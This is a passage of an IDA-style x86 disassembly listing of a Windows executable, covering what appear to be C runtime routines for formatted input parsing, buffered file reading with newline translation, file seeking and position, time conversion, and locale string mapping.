loc_41B5F1:				; CODE XREF: sub_41AD1D+8C5j
		test	eax, eax
		jz	short loc_41B62C
		push	ebx
		shl	edi, 4
		call	sub_41B742
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B604:				; CODE XREF: sub_41AD1D+8A6j
					; sub_41AD1D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41B616
		dec	[ebp+var_C]
		jz	short loc_41B63A


loc_41B616:				; CODE XREF: sub_41AD1D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B588
; ---------------------------------------------------------------------------


loc_41B62C:				; CODE XREF: sub_41AD1D+897j
					; sub_41AD1D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B793
		pop	ecx
		pop	ecx


loc_41B63A:				; CODE XREF: sub_41AD1D+865j
					; sub_41AD1D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41B642
		neg	edi


loc_41B642:				; CODE XREF: sub_41AD1D+843j
					; sub_41AD1D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41B64B
		and	[ebp+var_1C], 0


loc_41B64B:				; CODE XREF: sub_41AD1D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41B723
		cmp	[ebp+var_E], 0
		jnz	short loc_41B684
		inc	[ebp+var_34]


loc_41B65E:				; CODE XREF: sub_41AD1D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41B674
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41B684
; ---------------------------------------------------------------------------


loc_41B674:				; CODE XREF: sub_41AD1D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B681
		mov	[eax], edi
		jmp	short loc_41B684
; ---------------------------------------------------------------------------


loc_41B681:				; CODE XREF: sub_41AD1D+95Ej
		mov	[eax], di


loc_41B684:				; CODE XREF: sub_41AD1D+241j
					; sub_41AD1D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41B6D1
; ---------------------------------------------------------------------------


loc_41B68F:				; CODE XREF: sub_41AD1D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41B6FE
		mov	ecx, ds:off_437D50
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B6D1
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41B70C
		dec	[ebp+var_4]


loc_41B6D1:				; CODE XREF: sub_41AD1D+970j
					; sub_41AD1D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B6E7
		cmp	byte ptr [esi],	25h
		jnz	short loc_41B729
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41B729
		mov	esi, eax


loc_41B6E7:				; CODE XREF: sub_41AD1D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41AD47
		jmp	short loc_41B723
; ---------------------------------------------------------------------------


loc_41B6F3:				; CODE XREF: sub_41AD1D+1F4j
					; sub_41AD1D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41B703
; ---------------------------------------------------------------------------


loc_41B6FE:				; CODE XREF: sub_41AD1D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41B703:				; CODE XREF: sub_41AD1D+9DFj
		call	sub_41B793
		pop	ecx
		pop	ecx
		jmp	short loc_41B723
; ---------------------------------------------------------------------------


loc_41B70C:				; CODE XREF: sub_41AD1D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B793
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B793
		add	esp, 10h


loc_41B723:				; CODE XREF: sub_41AD1D+1Fj
					; sub_41AD1D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B73A


loc_41B729:				; CODE XREF: sub_41AD1D+9BDj
					; sub_41AD1D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41B73D
		cmp	[ebp+var_15], al
		jnz	short loc_41B73D
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B73D
; ---------------------------------------------------------------------------


loc_41B73A:				; CODE XREF: sub_41AD1D+A0Aj
		mov	eax, [ebp+var_34]


loc_41B73D:				; CODE XREF: sub_41AD1D+A11j
					; sub_41AD1D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B742	proc near		; CODE XREF: sub_41AD1D+7A3p
					; sub_41AD1D+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_437F5C, 1
		push	esi
		jle	short loc_41B75C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B76B
; ---------------------------------------------------------------------------


loc_41B75C:				; CODE XREF: sub_41B742+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_437D50
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B76B:				; CODE XREF: sub_41B742+18j
		test	eax, eax
		jnz	short loc_41B775
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41B775:				; CODE XREF: sub_41B742+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41B742	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: sub_41AD1D+1E1p
					; sub_41AD1D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41B78B
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41B78B:				; CODE XREF: sub_41B779+7j
		push	edx
		call	sub_41B890
		pop	ecx
		retn
sub_41B779	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B793	proc near		; CODE XREF: sub_41AD1D+6Bp
					; sub_41AD1D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41B7A9
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41E0BF
		pop	ecx
		pop	ecx

locret_41B7A9:				; CODE XREF: sub_41B793+5j
		retn
sub_41B793	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7AA	proc near		; CODE XREF: sub_41AD1D+63p
					; sub_41AD1D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41B7B0:				; CODE XREF: sub_41B7AA+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41B779
		mov	edi, eax
		push	edi
		call	sub_41E075
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7B0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41B7AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7CE	proc near		; CODE XREF: seg000:00416B7Dp

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41B88A
		cmp	ebx, 8Ah
		jg	loc_41B88A
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_4387E4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41B80D
		cmp	edi, 2
		jle	short loc_41B80D
		inc	esi


loc_41B80D:				; CODE XREF: sub_41B7CE+37j
					; sub_41B7CE+3Cj
		call	sub_41E12D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, ds:dword_438700
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41B880
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41B886
		cmp	ds:dword_438704, 0
		jz	short loc_41B886
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E3A0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B886


loc_41B880:				; CODE XREF: sub_41B7CE+90j
		add	ecx, ds:dword_438708


loc_41B886:				; CODE XREF: sub_41B7CE+96j
					; sub_41B7CE+9Fj ...
		mov	eax, ecx
		jmp	short loc_41B88D
; ---------------------------------------------------------------------------


loc_41B88A:				; CODE XREF: sub_41B7CE+13j
					; sub_41B7CE+1Fj
		or	eax, 0FFFFFFFFh


loc_41B88D:				; CODE XREF: sub_41B7CE+BAj
		pop	ebx
		leave
		retn
sub_41B7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B890	proc near		; CODE XREF: sub_416B90+A9p
					; sub_41711C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B964
		test	al, 40h
		jnz	loc_41B964
		test	al, 2
		jz	short loc_41B8B6
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B964
; ---------------------------------------------------------------------------


loc_41B8B6:				; CODE XREF: sub_41B890+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B8CA
		push	esi
		call	sub_41D04C
		pop	ecx
		jmp	short loc_41B8CF
; ---------------------------------------------------------------------------


loc_41B8CA:				; CODE XREF: sub_41B890+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41B8CF:				; CODE XREF: sub_41B890+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B969
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41B953
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B953
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B928
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41B911
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_46A7A0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41B916
; ---------------------------------------------------------------------------


loc_41B911:				; CODE XREF: sub_41B890+6Bj
		mov	edi, offset dword_4383B0


loc_41B916:				; CODE XREF: sub_41B890+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41B928
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41B928:				; CODE XREF: sub_41B890+62j
					; sub_41B890+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B945
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B945
		test	ch, 4
		jnz	short loc_41B945
		mov	dword ptr [esi+18h], 1000h


loc_41B945:				; CODE XREF: sub_41B890+9Fj
					; sub_41B890+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B953:				; CODE XREF: sub_41B890+55j
					; sub_41B890+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41B964:				; CODE XREF: sub_41B890+Aj
					; sub_41B890+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B969	proc near		; CODE XREF: sub_416B90+90p
					; sub_41B890+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_46A8A0
		jnb	loc_41BB46
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:46A7A0h[eax*4]
		mov	eax, ds:dword_46A7A0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41BB46
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41BA1E
		test	dl, 2
		jnz	short loc_41BA1E
		test	dl, 48h
		jz	short loc_41B9DE
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B9DE
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41B9DE:				; CODE XREF: sub_41B969+56j
					; sub_41B969+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41BA31
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41BA19
		mov	ds:dword_469474, 9
		mov	ds:dword_469478, ecx
		jmp	loc_41BB57
; ---------------------------------------------------------------------------


loc_41BA19:				; CODE XREF: sub_41B969+99j
		cmp	eax, 6Dh
		jnz	short loc_41BA25


loc_41BA1E:				; CODE XREF: sub_41B969+4Cj
					; sub_41B969+51j
		xor	eax, eax
		jmp	loc_41BB5A
; ---------------------------------------------------------------------------


loc_41BA25:				; CODE XREF: sub_41B969+B3j
		push	eax
		call	sub_41C5B7
		pop	ecx
		jmp	loc_41BB57
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B969+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41BB41
		test	edx, edx
		jz	short loc_41BA56
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41BA56
		or	al, 4
		jmp	short loc_41BA58
; ---------------------------------------------------------------------------


loc_41BA56:				; CODE XREF: sub_41B969+E2j
					; sub_41B969+E7j
		and	al, 0FBh


loc_41BA58:				; CODE XREF: sub_41B969+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41BB3B


loc_41BA70:				; CODE XREF: sub_41B969+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41BB2B
		cmp	al, 0Dh
		jz	short loc_41BA8C
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41BB1D
; ---------------------------------------------------------------------------


loc_41BA8C:				; CODE XREF: sub_41B969+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41BAAA
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BAA1
		add	[ebp+arg_8], 2
		jmp	short loc_41BAFF
; ---------------------------------------------------------------------------


loc_41BAA1:				; CODE XREF: sub_41B969+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41BB1D
; ---------------------------------------------------------------------------


loc_41BAAA:				; CODE XREF: sub_41B969+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41BAD2
		call	ds:dword_421088	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41BB19


loc_41BAD2:				; CODE XREF: sub_41B969+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41BB19
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41BAF4
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41BAFF
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41BB1D
; ---------------------------------------------------------------------------


loc_41BAF4:				; CODE XREF: sub_41B969+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41BB04
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41BB04


loc_41BAFF:				; CODE XREF: sub_41B969+136j
					; sub_41B969+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41BB1C
; ---------------------------------------------------------------------------


loc_41BB04:				; CODE XREF: sub_41B969+18Ej
					; sub_41B969+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41BB1D


loc_41BB19:				; CODE XREF: sub_41B969+167j
					; sub_41B969+16Dj
		mov	byte ptr [edi],	0Dh


loc_41BB1C:				; CODE XREF: sub_41B969+199j
		inc	edi


loc_41BB1D:				; CODE XREF: sub_41B969+11Ej
					; sub_41B969+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41BA70
		jmp	short loc_41BB3B
; ---------------------------------------------------------------------------


loc_41BB2B:				; CODE XREF: sub_41B969+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41BB3B
		or	al, 2
		mov	[esi], al


loc_41BB3B:				; CODE XREF: sub_41B969+101j
					; sub_41B969+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41BB41:				; CODE XREF: sub_41B969+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41BB5A
; ---------------------------------------------------------------------------


loc_41BB46:				; CODE XREF: sub_41B969+12j
					; sub_41B969+39j
		and	ds:dword_469478, 0
		mov	ds:dword_469474, 9


loc_41BB57:				; CODE XREF: sub_41B969+ABj
					; sub_41B969+C3j
		or	eax, 0FFFFFFFFh


loc_41BB5A:				; CODE XREF: sub_41B969+B7j
					; sub_41B969+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B969	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB5F	proc near		; CODE XREF: seg000:00416E85p
					; sub_417C17+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_46A8A0
		push	esi
		push	edi
		jnb	short loc_41BBE1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41BBE1
		push	eax
		call	sub_41D4A6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41BBA3
		mov	ds:dword_469474, 9
		jmp	short loc_41BBF2
; ---------------------------------------------------------------------------


loc_41BBA3:				; CODE XREF: sub_41BB5F+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_4210AC	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41BBC3
		call	ds:dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41BBC5
; ---------------------------------------------------------------------------


loc_41BBC3:				; CODE XREF: sub_41BB5F+5Aj
		xor	eax, eax


loc_41BBC5:				; CODE XREF: sub_41BB5F+62j
		test	eax, eax
		jz	short loc_41BBD2
		push	eax
		call	sub_41C5B7
		pop	ecx
		jmp	short loc_41BBF2
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BB5F+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41BBF5
; ---------------------------------------------------------------------------


loc_41BBE1:				; CODE XREF: sub_41BB5F+Dj
					; sub_41BB5F+2Aj
		and	ds:dword_469478, 0
		mov	ds:dword_469474, 9


loc_41BBF2:				; CODE XREF: sub_41BB5F+42j
					; sub_41BB5F+71j
		or	eax, 0FFFFFFFFh


loc_41BBF5:				; CODE XREF: sub_41BB5F+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BB5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBF9	proc near		; CODE XREF: seg000:00416E48p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41BC15
		mov	[edi+4], ebx


loc_41BC15:				; CODE XREF: sub_41BBF9+17j
		push	1
		push	ebx
		push	esi
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41BC83
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41BC3A
		sub	eax, [edi+4]
		jmp	loc_41BD4C
; ---------------------------------------------------------------------------


loc_41BC3A:				; CODE XREF: sub_41BBF9+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41BC74
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_46A7A0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41BC8B
		mov	edx, ecx


loc_41BC65:				; CODE XREF: sub_41BBF9+79j
		cmp	edx, eax
		jnb	short loc_41BC8B
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41BC71
		inc	[ebp+var_8]


loc_41BC71:				; CODE XREF: sub_41BBF9+73j
		inc	edx
		jmp	short loc_41BC65
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: sub_41BBF9+50j
		test	dl, 80h
		jnz	short loc_41BC8B
		mov	ds:dword_469474, 16h


loc_41BC83:				; CODE XREF: sub_41BBF9+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41BD4C
; ---------------------------------------------------------------------------


loc_41BC8B:				; CODE XREF: sub_41BBF9+68j
					; sub_41BBF9+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41BC99
		mov	eax, [ebp+var_8]
		jmp	loc_41BD4C
; ---------------------------------------------------------------------------


loc_41BC99:				; CODE XREF: sub_41BBF9+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41BD44
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41BCB2
		and	[ebp+var_8], edx
		jmp	loc_41BD44
; ---------------------------------------------------------------------------


loc_41BCB2:				; CODE XREF: sub_41BBF9+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41BD3E
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BD05
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41BCF0:				; CODE XREF: sub_41BBF9+104j
		cmp	eax, ecx
		jnb	short loc_41BCFF
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BCFC
		inc	[ebp+arg_0]


loc_41BCFC:				; CODE XREF: sub_41BBF9+FEj
		inc	eax
		jmp	short loc_41BCF0
; ---------------------------------------------------------------------------


loc_41BCFF:				; CODE XREF: sub_41BBF9+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41BD39
; ---------------------------------------------------------------------------


loc_41BD05:				; CODE XREF: sub_41BBF9+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41BB5F
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41BD2C
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41BD2C
		test	ch, 4
		jz	short loc_41BD2F


loc_41BD2C:				; CODE XREF: sub_41BBF9+124j
					; sub_41BBF9+12Cj
		mov	eax, [edi+18h]


loc_41BD2F:				; CODE XREF: sub_41BBF9+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41BD39:				; CODE XREF: sub_41BBF9+10Aj
		jz	short loc_41BD3E
		inc	[ebp+arg_0]


loc_41BD3E:				; CODE XREF: sub_41BBF9+D9j
					; sub_41BBF9:loc_41BD39j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41BD44:				; CODE XREF: sub_41BBF9+A4j
					; sub_41BBF9+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41BD4C:				; CODE XREF: sub_41BBF9+3Cj
					; sub_41BBF9+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBF9	endp

; ---------------------------------------------------------------------------


loc_41BD51:				; CODE XREF: sub_417173+A3p
					; sub_41AC51+A5p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421878
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_4694FC, edi
		jnz	short loc_41BDC7
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_421870
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_421190	; LCMapStringW
		test	eax, eax
		jz	short loc_41BDA5
		mov	ds:dword_4694FC, ebx
		jmp	short loc_41BDC7
; ---------------------------------------------------------------------------


loc_41BDA5:				; CODE XREF: seg000:0041BD9Bj
		push	edi
		push	edi
		push	ebx
		push	offset dword_438FB4
		push	esi
		push	edi
		call	near ptr 3D0000h
		sbb	al, [ebp+22840FC0h]
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_4694FC
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_41BDC7:				; CODE XREF: seg000:0041BD7Fj
					; seg000:0041BDA3j
		cmp	[ebp+14h], edi
		jle	short loc_41BDDC
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_41BF75
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_41BDDC:				; CODE XREF: seg000:0041BDCAj
		mov	eax, ds:dword_4694FC
		cmp	eax, 2
		jnz	short loc_41BE03
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 3D0000h
		cmpsb
		jmp	loc_41BEE1
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: seg000:0041BDE4j
		cmp	eax, 1
		jnz	loc_41BEDF
		cmp	[ebp+20h], edi
		jnz	short loc_41BE19
		mov	eax, ds:dword_469518
		mov	[ebp+20h], eax


loc_41BE19:				; CODE XREF: seg000:0041BE0Fj
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
